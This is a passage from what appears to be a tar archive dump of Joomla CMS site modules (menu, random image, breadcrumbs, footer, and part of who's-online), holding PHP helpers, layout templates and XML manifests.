HTMLHelper::_('bootstrap.collapse');
?>

<nav class="navbar navbar-expand-md">
	<button class="navbar-toggler navbar-toggler-right" type="button" data-bs-toggle="collapse" data-bs-target="#navbar<?php echo $module->id; ?>" aria-controls="navbar<?php echo $module->id; ?>" aria-expanded="false" aria-label="<?php echo Text::_('MOD_MENU_TOGGLE'); ?>">
		<span class="icon-menu" aria-hidden="true"></span>
	</button>
	<div class="collapse navbar-collapse" id="navbar<?php echo $module->id; ?>">
		<?php require __DIR__ . '/default.php'; ?>
	</div>
</nav>
mod_menu/tmpl/default.php000064400000003534150746134710011475 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_menu
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$id = '';

if ($tagId = $params->get('tag_id', ''))
{
	$id = ' id="' . $tagId . '"';
}

// The menu class is deprecated. Use nav instead
?>
<ul class="nav menu<?php echo $class_sfx; ?> mod-list"<?php echo $id; ?>>
<?php foreach ($list as $i => &$item)
{
	$class = 'item-' . $item->id;

	if ($item->id == $default_id)
	{
		$class .= ' default';
	}

	if ($item->id == $active_id || ($item->type === 'alias' && $item->params->get('aliasoptions') == $active_id))
	{
		$class .= ' current';
	}

	if (in_array($item->id, $path))
	{
		$class .= ' active';
	}
	elseif ($item->type === 'alias')
	{
		$aliasToId = $item->params->get('aliasoptions');

		if (count($path) > 0 && $aliasToId == $path[count($path) - 1])
		{
			$class .= ' active';
		}
		elseif (in_array($aliasToId, $path))
		{
			$class .= ' alias-parent-active';
		}
	}

	if ($item->type === 'separator')
	{
		$class .= ' divider';
	}

	if ($item->deeper)
	{
		$class .= ' deeper';
	}

	if ($item->parent)
	{
		$class .= ' parent';
	}

	echo '<li class="' . $class . '">';

	switch ($item->type) :
		case 'separator':
		case 'component':
		case 'heading':
		case 'url':
			require JModuleHelper::getLayoutPath('mod_menu', 'default_' . $item->type);
			break;

		default:
			require JModuleHelper::getLayoutPath('mod_menu', 'default_url');
			break;
	endswitch;

	// The next item is deeper.
	if ($item->deeper)
	{
		echo '<ul class="nav-child unstyled small">';
	}
	// The next item is shallower.
	elseif ($item->shallower)
	{
		echo '</li>';
		echo str_repeat('</ul></li>', $item->level_diff);
	}
	// The next item is on the same level.
	else
	{
		echo '</li>';
	}
}
?></ul>
mod_menu/src/Helper/MenuHelper.php000060400000015674150746134710013153 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_menu
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\Menu\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Cache\CacheControllerFactoryInterface;
use Joomla\CMS\Cache\Controller\OutputController;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Router\Route;

/**
 * Helper for mod_menu
 *
 * @since  1.5
 */
class MenuHelper
{
	/**
	 * Get a list of the menu items.
	 *
	 * @param   \Joomla\Registry\Registry  &$params  The module options.
	 *
	 * @return  array
	 *
	 * @since   1.5
	 */
	public static function getList(&$params)
	{
		$app   = Factory::getApplication();
		$menu  = $app->getMenu();

		// Get active menu item
		$base   = self::getBase($params);
		$levels = Factory::getUser()->getAuthorisedViewLevels();
		asort($levels);
		$key = 'menu_items' . $params . implode(',', $levels) . '.' . $base->id;

		/** @var OutputController $cache */
		$cache = Factory::getContainer()->get(CacheControllerFactoryInterface::class)
			->createCacheController('output', ['defaultgroup' => 'mod_menu']);

		if ($cache->contains($key))
		{
			$items = $cache->get($key);
		}
		else
		{
			$path           = $base->tree;
			$start          = (int) $params->get('startLevel', 1);
			$end            = (int) $params->get('endLevel', 0);
			$showAll        = $params->get('showAllChildren', 1);
			$items          = $menu->getItems('menutype', $params->get('menutype'));
			$hidden_parents = array();
			$lastitem       = 0;

			if ($items)
			{
				$inputVars = $app->getInput()->getArray();

				foreach ($items as $i => $item)
				{
					$item->parent = false;
					$itemParams   = $item->getParams();

					if (isset($items[$lastitem]) && $items[$lastitem]->id == $item->parent_id && $itemParams->get('menu_show', 1) == 1)
					{
						$items[$lastitem]->parent = true;
					}

					if (($start && $start > $item->level)
						|| ($end && $item->level > $end)
						|| (!$showAll && $item->level > 1 && !\in_array($item->parent_id, $path))
						|| ($start > 1 && !\in_array($item->tree[$start - 2], $path)))
					{
						unset($items[$i]);
						continue;
					}

					// Exclude item with menu item option set to exclude from menu modules
					if (($itemParams->get('menu_show', 1) == 0) || \in_array($item->parent_id, $hidden_parents))
					{
						$hidden_parents[] = $item->id;
						unset($items[$i]);
						continue;
					}

					$item->current = true;

					foreach ($item->query as $key => $value)
					{
						if (!isset($inputVars[$key]) || $inputVars[$key] !== $value)
						{
							$item->current = false;
							break;
						}
					}

					$item->deeper     = false;
					$item->shallower  = false;
					$item->level_diff = 0;

					if (isset($items[$lastitem]))
					{
						$items[$lastitem]->deeper     = ($item->level > $items[$lastitem]->level);
						$items[$lastitem]->shallower  = ($item->level < $items[$lastitem]->level);
						$items[$lastitem]->level_diff = ($items[$lastitem]->level - $item->level);
					}

					$lastitem     = $i;
					$item->active = false;
					$item->flink  = $item->link;

					// Reverted back for CMS version 2.5.6
					switch ($item->type)
					{
						case 'separator':
							break;

						case 'heading':
							// No further action needed.
							break;

						case 'url':
							if ((strpos($item->link, 'index.php?') === 0) && (strpos($item->link, 'Itemid=') === false))
							{
								// If this is an internal Joomla link, ensure the Itemid is set.
								$item->flink = $item->link . '&Itemid=' . $item->id;
							}
							break;

						case 'alias':
							$item->flink = 'index.php?Itemid=' . $itemParams->get('aliasoptions');

							// Get the language of the target menu item when site is multilingual
							if (Multilanguage::isEnabled())
							{
								$newItem = Factory::getApplication()->getMenu()->getItem((int) $itemParams->get('aliasoptions'));

								// Use language code if not set to ALL
								if ($newItem != null && $newItem->language && $newItem->language !== '*')
								{
									$item->flink .= '&lang=' . $newItem->language;
								}
							}
							break;

						default:
							$item->flink = 'index.php?Itemid=' . $item->id;
							break;
					}

					if ((strpos($item->flink, 'index.php?') !== false) && strcasecmp(substr($item->flink, 0, 4), 'http'))
					{
						$item->flink = Route::_($item->flink, true, $itemParams->get('secure'));
					}
					else
					{
						$item->flink = Route::_($item->flink);
					}

					// We prevent the double encoding because for some reason the $item is shared for menu modules and we get double encoding
					// when the cause of that is found the argument should be removed
					$item->title          = htmlspecialchars($item->title, ENT_COMPAT, 'UTF-8', false);
					$item->anchor_css     = htmlspecialchars($itemParams->get('menu-anchor_css', ''), ENT_COMPAT, 'UTF-8', false);
					$item->anchor_title   = htmlspecialchars($itemParams->get('menu-anchor_title', ''), ENT_COMPAT, 'UTF-8', false);
					$item->anchor_rel     = htmlspecialchars($itemParams->get('menu-anchor_rel', ''), ENT_COMPAT, 'UTF-8', false);
					$item->menu_image     = $itemParams->get('menu_image', '') ?
						htmlspecialchars($itemParams->get('menu_image', ''), ENT_COMPAT, 'UTF-8', false) : '';
					$item->menu_image_css = htmlspecialchars($itemParams->get('menu_image_css', ''), ENT_COMPAT, 'UTF-8', false);
				}

				if (isset($items[$lastitem]))
				{
					$items[$lastitem]->deeper     = (($start ?: 1) > $items[$lastitem]->level);
					$items[$lastitem]->shallower  = (($start ?: 1) < $items[$lastitem]->level);
					$items[$lastitem]->level_diff = ($items[$lastitem]->level - ($start ?: 1));
				}
			}

			$cache->store($items, $key);
		}

		return $items;
	}

	/**
	 * Get base menu item.
	 *
	 * @param   \Joomla\Registry\Registry  &$params  The module options.
	 *
	 * @return  object
	 *
	 * @since    3.0.2
	 */
	public static function getBase(&$params)
	{
		// Get base menu item from parameters
		if ($params->get('base'))
		{
			$base = Factory::getApplication()->getMenu()->getItem($params->get('base'));
		}
		else
		{
			$base = false;
		}

		// Use active menu item if no base found
		if (!$base)
		{
			$base = self::getActive($params);
		}

		return $base;
	}

	/**
	 * Get active menu item.
	 *
	 * @param   \Joomla\Registry\Registry  &$params  The module options.
	 *
	 * @return  object
	 *
	 * @since    3.0.2
	 */
	public static function getActive(&$params)
	{
		$menu = Factory::getApplication()->getMenu();

		return $menu->getActive() ?: self::getDefault();
	}

	/**
	 * Get default menu item (home page) for current language.
	 *
	 * @return  object
	 */
	public static function getDefault()
	{
		$menu = Factory::getApplication()->getMenu();

		// Look for the home menu
		if (Multilanguage::isEnabled())
		{
			return $menu->getDefault(Factory::getLanguage()->getTag());
		}

		return $menu->getDefault();
	}
}
mod_random_image/src/Helper/RandomImageHelper.php000060400000006053150746134710016077 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_random_image
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\RandomImage\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Uri\Uri;
use Joomla\String\StringHelper;

/**
 * Helper for mod_random_image
 *
 * @since  1.5
 */
class RandomImageHelper
{
	/**
	 * Retrieves a random image
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module parameters object
	 * @param   array                      $images   list of images
	 *
	 * @return  mixed
	 */
	public static function getRandomImage(&$params, $images)
	{
		$width  = $params->get('width', 100);
		$height = $params->get('height', null);

		$i = \count($images);

		if ($i === 0)
		{
			return null;
		}

		$random = mt_rand(0, $i - 1);
		$image  = $images[$random];
		$size   = getimagesize(JPATH_BASE . '/' . $image->folder . '/' . $image->name);

		if ($size[0] < $width)
		{
			$width = $size[0];
		}

		$coeff = $size[0] / $size[1];

		if ($height === null)
		{
			$height = (int) ($width / $coeff);
		}
		else
		{
			$newheight = min($height, (int) ($width / $coeff));

			if ($newheight < $height)
			{
				$height = $newheight;
			}
			else
			{
				$width = $height * $coeff;
			}
		}

		$image->width  = $width;
		$image->height = $height;
		$image->folder = str_replace('\\', '/', $image->folder);

		return $image;
	}

	/**
	 * Retrieves images from a specific folder
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module params
	 * @param   string                     $folder   folder to get the images from
	 *
	 * @return  array
	 */
	public static function getImages(&$params, $folder)
	{
		$type   = $params->get('type', 'jpg');
		$files  = [];
		$images = [];

		$dir = JPATH_BASE . '/' . $folder;

		// Check if directory exists
		if (is_dir($dir))
		{
			if ($handle = opendir($dir))
			{
				while (false !== ($file = readdir($handle)))
				{
					if ($file !== '.' && $file !== '..' && $file !== 'CVS' && $file !== 'index.html')
					{
						$files[] = $file;
					}
				}
			}

			closedir($handle);

			$i = 0;

			foreach ($files as $img)
			{
				if (!is_dir($dir . '/' . $img) && preg_match('/' . $type . '/', $img))
				{
					$images[$i] = new \stdClass;

					$images[$i]->name   = $img;
					$images[$i]->folder = $folder;
					$i++;
				}
			}
		}

		return $images;
	}

	/**
	 * Get sanitized folder
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module params objects
	 *
	 * @return  mixed
	 */
	public static function getFolder(&$params)
	{
		$folder   = $params->get('folder');
		$LiveSite = Uri::base();

		// If folder includes livesite info, remove
		if (StringHelper::strpos($folder, $LiveSite) === 0)
		{
			$folder = str_replace($LiveSite, '', $folder);
		}

		// If folder includes absolute path, remove
		if (StringHelper::strpos($folder, JPATH_SITE) === 0)
		{
			$folder = str_replace(JPATH_BASE, '', $folder);
		}

		return str_replace(array('\\', '/'), DIRECTORY_SEPARATOR, $folder);
	}
}
mod_random_image/mod_random_image.xml000064400000004401150746134710014037 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.1" client="site" method="upgrade">
	<name>mod_random_image</name>
	<author>Joomla! Project</author>
	<creationDate>July 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_RANDOM_IMAGE_XML_DESCRIPTION</description>
	<files>
		<filename module="mod_random_image">mod_random_image.php</filename>
		<folder>tmpl</folder>
		<filename>helper.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.mod_random_image.ini</language>
		<language tag="en-GB">en-GB.mod_random_image.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_RANDOM_IMAGE" />
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="type"
					type="text"
					label="MOD_RANDOM_IMAGE_FIELD_TYPE_LABEL"
					description="MOD_RANDOM_IMAGE_FIELD_TYPE_DESC"
					default="jpg"
				/>

				<field
					name="folder"
					type="text"
					label="MOD_RANDOM_IMAGE_FIELD_FOLDER_LABEL"
					description="MOD_RANDOM_IMAGE_FIELD_FOLDER_DESC"
					validate="filePath"
				/>

				<field
					name="link"
					type="text"
					label="MOD_RANDOM_IMAGE_FIELD_LINK_LABEL"
					description="MOD_RANDOM_IMAGE_FIELD_LINK_DESC"
				/>

				<field
					name="width"
					type="number"
					label="MOD_RANDOM_IMAGE_FIELD_WIDTH_LABEL"
					description="MOD_RANDOM_IMAGE_FIELD_WIDTH_DESC"
					default="100"
					filter="integer"
				/>

				<field
					name="height"
					type="number"
					label="MOD_RANDOM_IMAGE_FIELD_HEIGHT_LABEL"
					description="MOD_RANDOM_IMAGE_FIELD_HEIGHT_DESC"
					filter="integer"
				/>

			</fieldset>
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					description="JFIELD_ALT_MODULE_LAYOUT_DESC"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"
					rows="3"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
mod_random_image/mod_random_image.php000064400000001546150746134710014035 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_random_image
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the random image functions only once
JLoader::register('ModRandomImageHelper', __DIR__ . '/helper.php');

$link   = $params->get('link');
$folder = ModRandomImageHelper::getFolder($params);
$images = ModRandomImageHelper::getImages($params, $folder);

if (!count($images))
{
	echo JText::_('MOD_RANDOM_IMAGE_NO_IMAGES');

	return;
}

$image           = ModRandomImageHelper::getRandomImage($params, $images);
$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx', ''), ENT_COMPAT, 'UTF-8');

require JModuleHelper::getLayoutPath('mod_random_image', $params->get('layout', 'default'));
mod_random_image/tmpl/default.php000064400000001300150746134710013140 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_random_image
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<div class="random-image<?php echo $moduleclass_sfx; ?>">
<?php if ($link) : ?>
<a href="<?php echo htmlspecialchars($link, ENT_QUOTES, 'UTF-8'); ?>">
<?php endif; ?>
	<?php echo JHtml::_('image', $image->folder . '/' . htmlspecialchars($image->name, ENT_COMPAT, 'UTF-8'), htmlspecialchars($image->name, ENT_COMPAT, 'UTF-8'), array('width' => $image->width, 'height' => $image->height)); ?>
<?php if ($link) : ?>
</a>
<?php endif; ?>
</div>
mod_breadcrumbs/mod_breadcrumbs.xml000064400000006505150746134710013564 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.1" client="site" method="upgrade">
	<name>mod_breadcrumbs</name>
	<author>Joomla! Project</author>
	<creationDate>July 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_BREADCRUMBS_XML_DESCRIPTION</description>
	<files>
		<filename module="mod_breadcrumbs">mod_breadcrumbs.php</filename>
		<folder>tmpl</folder>
		<filename>helper.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.mod_breadcrumbs.ini</language>
		<language tag="en-GB">en-GB.mod_breadcrumbs.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_BREADCRUMBS" />
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="showHere"
					type="radio"
					label="MOD_BREADCRUMBS_FIELD_SHOWHERE_LABEL"
					description="MOD_BREADCRUMBS_FIELD_SHOWHERE_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="showHome"
					type="radio"
					label="MOD_BREADCRUMBS_FIELD_SHOWHOME_LABEL"
					description="MOD_BREADCRUMBS_FIELD_SHOWHOME_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="homeText"
					type="text"
					label="MOD_BREADCRUMBS_FIELD_HOMETEXT_LABEL"
					description="MOD_BREADCRUMBS_FIELD_HOMETEXT_DESC"
					showon="showHome:1"
				/>

				<field
					name="showLast"
					type="radio"
					label="MOD_BREADCRUMBS_FIELD_SHOWLAST_LABEL"
					description="MOD_BREADCRUMBS_FIELD_SHOWLAST_DESC"
					default="1"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="separator"
					type="text"
					label="MOD_BREADCRUMBS_FIELD_SEPARATOR_LABEL"
					description="MOD_BREADCRUMBS_FIELD_SEPARATOR_DESC"
				/>

			</fieldset>
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					description="JFIELD_ALT_MODULE_LAYOUT_DESC"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"
					rows="3"
				/>

				<field
					name="cache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					description="COM_MODULES_FIELD_CACHING_DESC"
					default="0"
					filter="integer"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					description="COM_MODULES_FIELD_CACHE_TIME_DESC"
					default="0"
					filter="integer"
				/>

				<field
					name="cachemode"
					type="hidden"
					default="itemid"
					>
					<option value="itemid"></option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
mod_breadcrumbs/mod_breadcrumbs.php000064400000001375150746134710013553 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_breadcrumbs
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the breadcrumbs functions only once
JLoader::register('ModBreadCrumbsHelper', __DIR__ . '/helper.php');

// Get the breadcrumbs
$list  = ModBreadCrumbsHelper::getList($params);
$count = count($list);

// Set the default separator
$separator = ModBreadCrumbsHelper::setSeparator($params->get('separator'));
$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx', ''), ENT_COMPAT, 'UTF-8');

require JModuleHelper::getLayoutPath('mod_breadcrumbs', $params->get('layout', 'default'));
mod_breadcrumbs/tmpl/default.php000064400000004534150746134710013023 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_breadcrumbs
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<div aria-label="<?php echo htmlspecialchars($module->title, ENT_QUOTES, 'UTF-8'); ?>" role="navigation">
	<ul itemscope itemtype="https://schema.org/BreadcrumbList" class="breadcrumb<?php echo $moduleclass_sfx; ?>">
		<?php if ($params->get('showHere', 1)) : ?>
			<li>
				<?php echo JText::_('MOD_BREADCRUMBS_HERE'); ?>&#160;
			</li>
		<?php else : ?>
			<li class="active">
				<span class="divider icon-location"></span>
			</li>
		<?php endif; ?>

		<?php
		// Get rid of duplicated entries on trail including home page when using multilanguage
		for ($i = 0; $i < $count; $i++)
		{
			if ($i === 1 && !empty($list[$i]->link) && !empty($list[$i - 1]->link) && $list[$i]->link === $list[$i - 1]->link)
			{
				unset($list[$i]);
			}
		}

		// Find last and penultimate items in breadcrumbs list
		end($list);
		$last_item_key   = key($list);
		prev($list);
		$penult_item_key = key($list);

		// Make a link if not the last item in the breadcrumbs
		$show_last = $params->get('showLast', 1);

		// Generate the trail
		foreach ($list as $key => $item) :
			if ($key !== $last_item_key) :
				// Render all but last item - along with separator ?>
				<li itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem">
					<?php if (!empty($item->link)) : ?>
						<a itemprop="item" href="<?php echo $item->link; ?>" class="pathway"><span itemprop="name"><?php echo $item->name; ?></span></a>
					<?php else : ?>
						<span itemprop="name">
							<?php echo $item->name; ?>
						</span>
					<?php endif; ?>

					<?php if (($key !== $penult_item_key) || $show_last) : ?>
						<span class="divider">
							<?php echo $separator; ?>
						</span>
					<?php endif; ?>
					<meta itemprop="position" content="<?php echo $key + 1; ?>">
				</li>
			<?php elseif ($show_last) :
				// Render last item if reqd. ?>
				<li itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem" class="active">
					<span itemprop="name">
						<?php echo $item->name; ?>
					</span>
					<meta itemprop="position" content="<?php echo $key + 1; ?>">
				</li>
			<?php endif;
		endforeach; ?>
	</ul>
</div>
mod_breadcrumbs/src/Helper/BreadcrumbsHelper.php000060400000005206150746134710016013 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_breadcrumbs
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\Breadcrumbs\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\Registry\Registry;

/**
 * Helper for mod_breadcrumbs
 *
 * @since  1.5
 */
class BreadcrumbsHelper
{
	/**
	 * Retrieve breadcrumb items
	 *
	 * @param   Registry        $params  The module parameters
	 * @param   CMSApplication  $app     The application
	 *
	 * @return  array
	 */
	public static function getList(Registry $params, CMSApplication $app)
	{
		// Get the PathWay object from the application
		$pathway = $app->getPathway();
		$items   = $pathway->getPathway();
		$lang    = $app->getLanguage();
		$menu    = $app->getMenu();

		// Look for the home menu
		if (Multilanguage::isEnabled())
		{
			$home = $menu->getDefault($lang->getTag());
		}
		else
		{
			$home  = $menu->getDefault();
		}

		$count = \count($items);

		// Don't use $items here as it references JPathway properties directly
		$crumbs = array();

		for ($i = 0; $i < $count; $i++)
		{
			$crumbs[$i]       = new \stdClass;
			$crumbs[$i]->name = stripslashes(htmlspecialchars($items[$i]->name, ENT_COMPAT, 'UTF-8'));
			$crumbs[$i]->link = $items[$i]->link;
		}

		if ($params->get('showHome', 1))
		{
			$item       = new \stdClass;
			$item->name = htmlspecialchars($params->get('homeText', Text::_('MOD_BREADCRUMBS_HOME')), ENT_COMPAT, 'UTF-8');
			$item->link = 'index.php?Itemid=' . $home->id;
			array_unshift($crumbs, $item);
		}

		return $crumbs;
	}

	/**
	 * Set the breadcrumbs separator for the breadcrumbs display.
	 *
	 * @param   string  $custom  Custom xhtml compliant string to separate the items of the breadcrumbs
	 *
	 * @return  string	Separator string
	 *
	 * @since   1.5
	 */
	public static function setSeparator($custom = null)
	{
		$lang = Factory::getApplication()->getLanguage();

		// If a custom separator has not been provided we try to load a template
		// specific one first, and if that is not present we load the default separator
		if ($custom === null)
		{
			if ($lang->isRtl())
			{
				$_separator = HTMLHelper::_('image', 'system/arrow_rtl.png', null, null, true);
			}
			else
			{
				$_separator = HTMLHelper::_('image', 'system/arrow.png', null, null, true);
			}
		}
		else
		{
			$_separator = htmlspecialchars($custom, ENT_COMPAT, 'UTF-8');
		}

		return $_separator;
	}
}
mod_footer/mod_footer.php000064400000001734150746134710011564 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_footer
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\String\StringHelper;

$app        = JFactory::getApplication();
$date       = JFactory::getDate();
$cur_year   = JHtml::_('date', $date, 'Y');
$csite_name = $app->get('sitename');

if (is_int(StringHelper::strpos(JText :: _('MOD_FOOTER_LINE1'), '%date%')))
{
	$line1 = str_replace('%date%', $cur_year, JText :: _('MOD_FOOTER_LINE1'));
}
else
{
	$line1 = JText :: _('MOD_FOOTER_LINE1');
}

if (is_int(StringHelper::strpos($line1, '%sitename%')))
{
	$lineone = str_replace('%sitename%', $csite_name, $line1);
}
else
{
	$lineone = $line1;
}

$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx', ''), ENT_COMPAT, 'UTF-8');

require JModuleHelper::getLayoutPath('mod_footer', $params->get('layout', 'default'));
mod_footer/mod_footer.xml000064400000003643150746134710011576 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.1" client="site" method="upgrade">
	<name>mod_footer</name>
	<author>Joomla! Project</author>
	<creationDate>July 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_FOOTER_XML_DESCRIPTION</description>
	<files>
		<filename module="mod_footer">mod_footer.php</filename>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.mod_footer.ini</language>
		<language tag="en-GB">en-GB.mod_footer.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_FOOTER" />
	<config>
		<fields name="params">
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					description="JFIELD_ALT_MODULE_LAYOUT_DESC"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"
					rows="3"
				/>

				<field
					name="cache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					description="COM_MODULES_FIELD_CACHING_DESC"
					default="1"
					filter="integer"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					description="COM_MODULES_FIELD_CACHE_TIME_DESC"
					default="900"
					filter="integer"
				/>

				<field
					name="cachemode"
					type="hidden"
					default="static"
					>
					<option value="static"></option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
mod_footer/tmpl/default.php000064400000000671150746134710012026 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_footer
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<div class="footer1<?php echo $moduleclass_sfx; ?>"><?php echo $lineone; ?></div>
<div class="footer2<?php echo $moduleclass_sfx; ?>"><?php echo JText::_('MOD_FOOTER_LINE2'); ?></div>
mod_whosonline/mod_whosonline.xml000064400000005061150746134710013350 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.1" client="site" method="upgrade">
	<name>mod_whosonline</name>
	<author>Joomla! Project</author>
	<creationDate>July 2004</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_WHOSONLINE_XML_DESCRIPTION</description>
	<files>
		<filename module="mod_whosonline">mod_whosonline.php</filename>
		<folder>tmpl</folder>
		<filename>helper.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.mod_whosonline.ini</language>
		<language tag="en-GB">en-GB.mod_whosonline.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_WHO_ONLINE" />
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="showmode"
					type="list"
					label="MOD_WHOSONLINE_SHOWMODE_LABEL"
					description="MOD_WHOSONLINE_SHOWMODE_DESC"
					default="0"
					filter="integer"
					>
					<option value="0">MOD_WHOSONLINE_FIELD_VALUE_NUMBER</option>
					<option value="1">MOD_WHOSONLINE_FIELD_VALUE_NAMES</option>
					<option value="2">MOD_WHOSONLINE_FIELD_VALUE_BOTH</option>
				</field>

				<field
					name="filter_groups"
					type="radio"
					label="MOD_WHOSONLINE_FIELD_FILTER_GROUPS_LABEL"
					description="MOD_WHOSONLINE_FIELD_FILTER_GROUPS_DESC"
					class="btn-group btn-group-yesno"
					default="0"
